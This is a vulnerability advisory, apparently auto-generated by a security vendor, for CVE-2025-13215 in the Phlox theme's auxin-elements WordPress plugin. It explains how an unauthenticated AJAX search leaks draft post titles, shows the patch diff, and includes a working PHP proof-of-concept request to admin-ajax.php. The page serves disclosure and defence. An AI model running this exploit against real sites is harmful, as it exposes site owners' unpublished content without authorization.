Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-13215: Shortcodes and extra features for Phlox theme <= 2.17.13 – Unauthenticated Draft Posts Information Exposure (auxin-elements)

CVE ID CVE-2025-13215
Plugin auxin-elements
Severity Medium (CVSS 5.3)
CWE 200
Vulnerable Version 2.17.13
Patched Version 2.17.14
Disclosed January 4, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-13215:
This vulnerability is an unauthenticated information exposure flaw in the Shortcodes and extra features for Phlox theme WordPress plugin (auxin-elements). The vulnerability allows attackers to retrieve the titles of draft posts via the plugin’s AJAX search functionality, bypassing intended access controls.

The root cause is insufficient query parameter validation in the `auxels_ajax_search` function. The vulnerable code resides in the `auxels-search-post-type.php` file within the `class-auxels-search-post-type`. Specifically, the `get_posts` method at line 81 constructs a `WP_Query` without explicitly setting the `post_status` parameter. By default, WordPress includes posts with ‘publish’, ‘future’, ‘draft’, and ‘pending’ statuses when `post_status` is not defined, allowing unauthenticated queries to return draft post titles.

Exploitation involves sending a POST request to the WordPress `/wp-admin/admin-ajax.php` endpoint with the `action` parameter set to `auxels_ajax_search`. The attacker can include search terms via the `s` parameter. The plugin’s AJAX handler, which lacks a capability or nonce check, processes the request and returns JSON data containing post titles, including those with a ‘draft’ status that should be private.

The patch adds a `’post_status’ => ‘publish’` argument to the `WP_Query` parameters in the `get_posts` method of `class-auxels-search-post-type.php`. This change restricts query results exclusively to published posts, preventing the exposure of draft, pending, or future posts. The version number in the main plugin file and define.php is also updated from 2.17.13 to 2.17.14.

Successful exploitation results in information disclosure. Attackers can enumerate draft post titles, potentially revealing sensitive, unpublished, or embargoed content. This exposure could aid in further targeted attacks or lead to a loss of confidentiality for site administrators and content creators.

Differential between vulnerable and patched code

Code Diff 
--- a/auxin-elements/auxin-elements.php
+++ b/auxin-elements/auxin-elements.php
@@ -12,7 +12,7 @@
  * Plugin Name:       Phlox Core Elements
  * Plugin URI:        https://wordpress.org/plugins/auxin-elements/
  * Description:       Exclusive and comprehensive plugin that extends the functionality of Phlox theme by adding new Elements, widgets and options.
- * Version:           2.17.13
+ * Version:           2.17.14
  * Author:            By Averta
  * Author URI:        http://averta.net
  * Text Domain:       auxin-elements
--- a/auxin-elements/includes/classes/class-auxels-search-post-type.php
+++ b/auxin-elements/includes/classes/class-auxels-search-post-type.php
@@ -81,7 +81,8 @@
             's'                 => $this->s,
             'post_type'         => $this->post_type,
             'no_found_rows'     => 1,
-            'posts_per_page'    => $this->per_page
+            'posts_per_page'    => $this->per_page,
+            'post_status'       => 'publish'
         );

         // Get category slug for each post type
--- a/auxin-elements/includes/define.php
+++ b/auxin-elements/includes/define.php
@@ -12,7 +12,7 @@
 }


-define( 'AUXELS_VERSION'        , '2.17.13' );
+define( 'AUXELS_VERSION'        , '2.17.14' );

 define( 'AUXELS_SLUG'           , 'auxin-elements' );

--- a/auxin-elements/includes/elementor/widgets/heading-modern.php
+++ b/auxin-elements/includes/elementor/widgets/heading-modern.php
@@ -25,6 +25,18 @@
  */
 class ModernHeading extends Widget_Base {

+    public $allowed_tags = [
+        'h1'   => 'H1',
+        'h2'   => 'H2',
+        'h3'   => 'H3',
+        'h4'   => 'H4',
+        'h5'   => 'H5',
+        'h6'   => 'H6',
+        'div'  => 'div',
+        'span' => 'span',
+        'p'    => 'p'
+    ];
+
     /**
      * Get widget name.
      *
@@ -139,17 +151,7 @@
             array(
                 'label'   => __( 'HTML Tag', 'auxin-elements' ),
                 'type'    => Controls_Manager::SELECT,
-                'options' => array(
-					'h1'   => 'H1',
-					'h2'   => 'H2',
-					'h3'   => 'H3',
-					'h4'   => 'H4',
-					'h5'   => 'H5',
-					'h6'   => 'H6',
-					'div'  => 'div',
-					'span' => 'span',
-					'p'    => 'p'
-                ),
+                'options' => $this->allowed_tags,
                 'default'   => 'h2',
             )
         );
@@ -289,17 +291,7 @@
             array(
                 'label'   => __( 'HTML Tag', 'auxin-elements' ),
                 'type'    => Controls_Manager::SELECT,
-                'options' => array(
-					'h1'   => 'H1',
-					'h2'   => 'H2',
-					'h3'   => 'H3',
-					'h4'   => 'H4',
-					'h5'   => 'H5',
-					'h6'   => 'H6',
-					'div'  => 'div',
-					'span' => 'span',
-					'p'    => 'p'
-                ),
+                'options' => $this->allowed_tags,
                 'default'   => 'h3'
             )
         );
@@ -1164,6 +1156,10 @@

         $settings = $this->get_settings_for_display();

+        $settings['title_tag'] = in_array( $settings['title_tag'], $this->allowed_tags ) ? $settings['title_tag'] : 'h2';
+
+        $settings['title_tag_secondary'] = in_array( $settings['title_tag_secondary'], $this->allowed_tags ) ? $settings['title_tag_secondary'] : 'h3';
+
         $divider_markup  = auxin_is_true( $settings['divider'] ) ? '<div class="aux-modern-heading-divider"></div>' : '';

         echo '<section class="aux-widget-modern-heading">

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC 
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-13215 - Shortcodes and extra features for Phlox theme <= 2.17.13 - Unauthenticated Draft Posts Information Exposure
<?php

$target_url = 'https://vulnerable-site.com';

// The AJAX endpoint for WordPress
$ajax_endpoint = $target_url . '/wp-admin/admin-ajax.php';

// The vulnerable action hook
$data = array(
    'action' => 'auxels_ajax_search',
    's' => '', // Search term; an empty string may return all matches
    'post_type' => 'post' // Target post type
);

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_endpoint);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // Disable for testing only
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Output the results
if ($http_code == 200 && !empty($response)) {
    $json = json_decode($response, true);
    if (json_last_error() === JSON_ERROR_NONE && isset($json['items'])) {
        echo "[+] Draft post titles found:n";
        foreach ($json['items'] as $item) {
            // The response includes titles; draft posts will be included in vulnerable versions
            echo " - " . htmlspecialchars($item['title']) . "n";
        }
    } else {
        echo "[-] No valid JSON response or items found.n";
        echo "Raw response: " . htmlspecialchars($response) . "n";
    }
} else {
    echo "[-] Request failed with HTTP code: $http_coden";
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School